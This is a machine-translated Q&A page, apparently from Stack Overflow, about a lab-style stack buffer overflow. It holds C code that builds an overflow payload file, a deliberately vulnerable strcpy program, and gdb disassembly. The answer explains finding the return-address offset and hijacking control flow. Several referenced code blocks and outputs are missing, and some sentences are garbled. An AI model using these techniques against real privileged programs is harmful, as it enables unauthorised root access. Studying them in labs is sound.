我试图使用缓冲区溢出来访问root用户(纯粹出于教育目的)
我编写了以下代码来将所需的输入写入坏文件
int main(int argc, char **argv) {
char buffer[512];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 512);
/*First 20 characters for buffer*/
strcpy(buffer, "a b c d e f g h i j ");
/*Over write the next 8 characters*/
strcat(buffer, "a b c d ");
/*Overwrite return address*/
strcat(buffer, argv[1]);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 512, 1, badfile);
fclose(badfile);
}
这是应该由具有root访问权限的程序执行的代码
int bof(char *str){
char buffer[20];
/* The following allows buffer overflow */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv) {
char str[BSIZE];
FILE *badfile;
char *badfname = "badfile";
badfile = fopen(badfname, "r");
fread(str, sizeof(char), BSIZE, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
我希望从badfile读取的输入更改bof的返回地址,以便它将返回到我也写入错误文件输入的代码 . 但是我只是用我当前的代码获得seg错误 . 我知道这意味着我正在将新的返回地址写入错误的内存部分,但我不确定如何找到正确的写入位置 . 我在32位虚拟机上运行,并包含第二段代码的gdb反汇编
Dump of assembler code for function main:
0x080484d6 <main+0>: lea 0x4(%esp),%ecx
0x080484da <main+4>: and $0xfffffff0,%esp
0x080484dd <main+7>: pushl -0x4(%ecx)
0x080484e0 <main+10>: push %ebp
0x080484e1 <main+11>: mov %esp,%ebp
0x080484e3 <main+13>: push %ecx
0x080484e4 <main+14>: sub $0x224,%esp
0x080484ea <main+20>: movl $0x8048623,-0x8(%ebp)
0x080484f1 <main+27>: movl $0x804862b,0x4(%esp)
0x080484f9 <main+35>: mov -0x8(%ebp),%eax
0x080484fc <main+38>: mov %eax,(%esp)
0x080484ff <main+41>: call 0x80483a0 <fopen@plt>
0x08048504 <main+46>: mov %eax,-0xc(%ebp)
0x08048507 <main+49>: mov -0xc(%ebp),%eax
0x0804850a <main+52>: mov %eax,0xc(%esp)
0x0804850e <main+56>: movl $0x200,0x8(%esp)
0x08048516 <main+64>: movl $0x1,0x4(%esp)
0x0804851e <main+72>: lea -0x20c(%ebp),%eax
0x08048524 <main+78>: mov %eax,(%esp)
0x08048527 <main+81>: call 0x80483e0 <fread@plt>
0x0804852c <main+86>: lea -0x20c(%ebp),%eax
0x08048532 <main+92>: mov %eax,(%esp)
---Type <return> to continue, or q <return> to quit---
0x08048535 <main+95>: call 0x80484a4 <bof>
0x0804853a <main+100>: movl $0x804862d,(%esp)
0x08048541 <main+107>: call 0x80483d0 <puts@plt>
0x08048546 <main+112>: mov $0x1,%eax
0x0804854b <main+117>: add $0x224,%esp
0x08048551 <main+123>: pop %ecx
0x08048552 <main+124>: pop %ebp
0x08048553 <main+125>: lea -0x4(%ecx),%esp
0x08048556 <main+128>: ret
End of assembler dump.
(gdb)
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080484a4 <bof+0>: push %ebp
0x080484a5 <bof+1>: mov %esp,%ebp
0x080484a7 <bof+3>: sub $0x28,%esp
0x080484aa <bof+6>: mov 0x8(%ebp),%eax
0x080484ad <bof+9>: mov %eax,0x4(%esp)
0x080484b1 <bof+13>: lea -0x14(%ebp),%eax
0x080484b4 <bof+16>: mov %eax,(%esp)
0x080484b7 <bof+19>: call 0x80483b0 <strcpy@plt>
0x080484bc <bof+24>: lea -0x14(%ebp),%eax
0x080484bf <bof+27>: mov %eax,0x4(%esp)
0x080484c3 <bof+31>: movl $0x8048620,(%esp)
0x080484ca <bof+38>: call 0x80483c0 <printf@plt>
0x080484cf <bof+43>: mov $0x1,%eax
0x080484d4 <bof+48>: leave
0x080484d5 <bof+49>: ret
End of assembler dump.
1 回答
我使用的是带有gcc-4.8.3的窗口7(来自http://mingw-w64.org/doku.php),以及gdb版本7.8(也来自http://mingw-w64.org/doku.php) . 此外,Windows 7似乎没有ASLR,就像我运行这个小测试程序时一样:
我得到相同的内存位置,如下所示:
该程序取自Chris Anley等人的"The Shellcoder's Handbook:Discovering and Exploiting Security Holes" . al . ,评论:"..if you notice that the address the program prints out is different each time, it probably means you're running a distribution with the grsecurity patch, or something similar."如果你有不同的地址,它将使复制以下更难 . 例如,在我的Ubuntu-14.04 LTS系统上运行,我得到以下结果:
好了,既然预赛已经开始了,那就是你的榜样 . 因此,使用您的代码生成'badfile`,我创建了这个文件:
现在,让我们在GDB下运行易受攻击的程序,并在调用
bof
之前停止 . 此时的反汇编看起来像这样:在这一点上,我们可以看一些感兴趣的值 . 首先,在调用
bof
( 0x004015ec )之后记下指令的地址,稍后我们将需要它 . 其次,我们可以检查一些重要的变量和寄存器:所以,我们现在知道在内存中找到
main
的激活帧,以及验证你是否正确读取了字符串 . 看看字符串的值,我确实看到了两件可能导致问题的事情;注意字符串中嵌入的空终止符(\ 000)?这将导致
bof
中的字符串副本停止 . 我们仍然应该得到缓冲区溢出 . 在shell-code中需要注意的事情是,我们不能拥有0x00字节,并期望使用字符串处理函数 .请注意,我输入的地址(0x43434343)显示为文本而不是地址 . 从我所知道的,这是使用Windows的结果;但是我们仍然可以看到我们写入内存的位置并检查事情是否在正确的位置 .
现在我们可以进入
bof
,看看我们有什么:在这一点上,我们开始了解内存的布局,我们也可以查看内存的内容 . 特别有趣的是位于内存位置 0x28fc9c 和 0x28fca0 的值,我已在下图中输入:
查看main的反汇编,我们可以看到调用
bof
之后的下一条指令位于 0x004015ec ,我们可以看到它已经被存储在内存位置 0x0028fc9c 的堆栈上 .既然已完成此分析,我们可以执行字符串副本,然后再次查看内存,看看我们've done (remembering that ' a'的ASCII值为0x61,该空间的ASCII值为0x20) . 作为参考,我们可以看到
bof
中的缓冲区位于0x000x28fc7c的内存地址我们对存储的eip所在的区域特别感兴趣:
从这看起来,我作为命令行参数输入的第一部分(0x43)覆盖了
bof
的ebp . 由此我怀疑在写出新地址之前需要在字符串中再添加四个字节 . 此外,您可能需要检查以确保正确处理命令行参数 .作为对此的测试,我对你的两个程序进行了一些修改:
首先,生成坏文件的程序被修改为:
现在,您的命令行参数允许您在写入新的返回地址之前输入要写入文件的字节数 . 我还修改了你的易受攻击的程序,如下所示:
请注意
output
实际上是死代码,但是快速反汇编,我发现output
从 0x0040157f 开始 . 这是我在上面的genFile代码中输入缓冲区的值 . 现在有几个测试用例:注意:在第一次运行中,即使程序显示“正确返回”,程序也会崩溃并且窗口显示“此程序已停止工作对话框” .
希望这有帮助,如果您有任何其他问题,请询问 . T.